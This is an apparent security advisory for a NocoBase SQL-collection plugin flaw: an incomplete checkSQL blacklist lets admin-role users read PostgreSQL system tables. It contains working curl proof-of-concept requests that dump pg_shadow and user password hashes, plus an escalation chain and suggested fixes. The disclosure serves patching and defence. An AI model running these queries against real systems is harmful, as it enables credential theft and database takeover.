Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe vulnerability is a sensitive data exposure caused by an incomplete SQL blacklist in the checkSQL function, located in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts. This function failed to block queries to sensitive PostgreSQL system tables like pg_shadow and information_schema. The execute action, part of the SqlCollection resource, receives user-provided SQL via the /api/sqlCollection:execute endpoint and passes it to the vulnerable checkSQL function for validation. The analysis of the provided patch commits (4aecb60d151a9002004dcf984f63d62f17a6cb45 and 87c548969ce9258dd7f0d9571c9453ae10bc3fc4) confirms this root cause, as the fix involves adding the missing sensitive keywords to the dangerKeywords array within checkSQL. Therefore, during exploitation, a runtime profile would show the SqlCollection.execute action calling the checkSQL function, which would incorrectly allow the malicious query to proceed.
checkSQLpackages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts
SqlCollection.executepackages/plugins/@nocobase/plugin-collection-sql/src/server/actions/sql.ts
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| @nocobase/plugin-collection-sql | npm | < 2.0.62 | 2.0.62 |
| @nocobase/plugin-collection-sql | npm | >= 2.1.0-alpha.1, < 2.1.0-alpha.46 | 2.1.0-alpha.46 |
| @nocobase/plugin-collection-sql | npm | >= 2.1.0-beta.1, < 2.1.0-beta.45 | 2.1.0-beta.45 |
The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:
// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try {
checkSQL(sql); // ← insufficient validation
} catch (e) {
ctx.throw(400, ctx.t(e.message));
}
// SQL is executed directly against the database
const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
ctx.body = { data, fields, sources };
}
The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:
pg_shadow, pg_authid, pg_roles, pg_stat_activity are not restrictedusers (containing hashed passwords) can be queried directlyinformation_schema — full schema enumeration is possiblepg_catalog. prefix (e.g. pg_catalog.pg_read_file may bypass checks in older versions)The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.
Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).
Step 1: Authenticate and obtain a token:
TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"<password>"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")
Step 2: Dump PostgreSQL password hashes from pg_shadow:
curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}'
Response:
{
"data": {
"data": [
{
"usename": "nocobase",
"passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU="
}
]
}
}
Step 3: Dump NocoBase user credentials:
curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}'
Response (verified):
{
"data": {
"data": [
{
"id": 1,
"email": "admin@nocobase.com",
"username": "nocobase",
"password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b"
}
]
}
}
| Query | Blocked? | Data Exposed |
|-------|----------|--------------|
| SELECT usename, passwd FROM pg_shadow |Not blocked | PostgreSQL DB user password hashes |
| SELECT id, email, password FROM users |Not blocked | All NocoBase user credential hashes |
| SELECT table_name FROM information_schema.tables |Not blocked | Full database schema enumeration |
| SELECT rolname, rolsuper FROM pg_roles |Not blocked | All DB roles and superuser flags |
| SELECT pid, query FROM pg_stat_activity |Not blocked | Live SQL queries from all sessions |
| SELECT pg_read_file('/etc/passwd') |Blocked | — |
| SELECT current_setting('app.key') |Blocked | — |
This vulnerability is rated High despite requiring admin-level authentication. The reasoning:
The admin role in NocoBase is an application-level role — it manages workflows, collections, and UI. It is not a database administrator. Accessing pg_shadow is a PostgreSQL system-level privilege that admins should never have. The checkSQL() function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.
Even with admin privileges, NocoBase's UI and API do not expose:
pg_shadow (PostgreSQL internal password store)users.password hashes via standard API responsesinformation_schema enumerationVUL-2 grants access to all of the above — data the application explicitly chose not to expose.
The pg_shadow SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains direct PostgreSQL access with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading all data in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.
Member user (lowest privilege)
→ VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)
→ VUL-1: RCE reads APP_KEY from process.env
→ Forge JWT with admin role
→ VUL-2: Dump pg_shadow + users.password
→ Crack hashes → full PostgreSQL access
POST /api/sqlCollection:execute
admin role)plugin.ts:
this.app.acl.registerSnippet({
name: `pm.data-source-manager.collection-sql`,
actions: ['sqlCollection:*'], // includes :execute
});
admin role includes this snippet by default.const dangerKeywords = [
// ... existing entries ...
// ADD: PostgreSQL system catalog tables with sensitive data
'pg_shadow',
'pg_authid',
'pg_auth_members',
'pg_stat_activity',
'pg_roles',
// Note: information_schema should also be restricted for non-DBA roles
];
Instead of blocking dangerous keywords, only allow queries against user-defined collection tables:
// Allowlist approach: extract table names from AST and verify against known collections
const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users
const referencedTables = extractTableNames(parsedSQL);
if (!referencedTables.every(t => allowedTables.includes(t))) {
throw new Error('Query references tables outside the allowed scope');
}
The application's DB connection should use a PostgreSQL user that:
SELECT privilege on pg_shadow or pg_authidnocobase schema)This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.
| Field | Value |
|-------|-------|
| NocoBase version | 2.0.59-full |
| Database | PostgreSQL 16.14 |
| Deployment | Docker (nocobase/nocobase:2.0.59-full) |
| Vulnerable file | plugin-collection-sql/src/server/utils.ts — checkSQL() |
| Vulnerable endpoint | POST /api/sqlCollection:execute |
| Auth required | Admin role (pm.data-source-manager.collection-sql snippet) |
| Date | Event |
|------|-------|
| 2026-05-29 | Vulnerability discovered via whitebox source code audit of utils.ts |
| 2026-05-29 | Exploit verified on live Docker instance — pg_shadow and users.password dumped |
| 2026-05-29 | Report submitted to maintainers |
https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732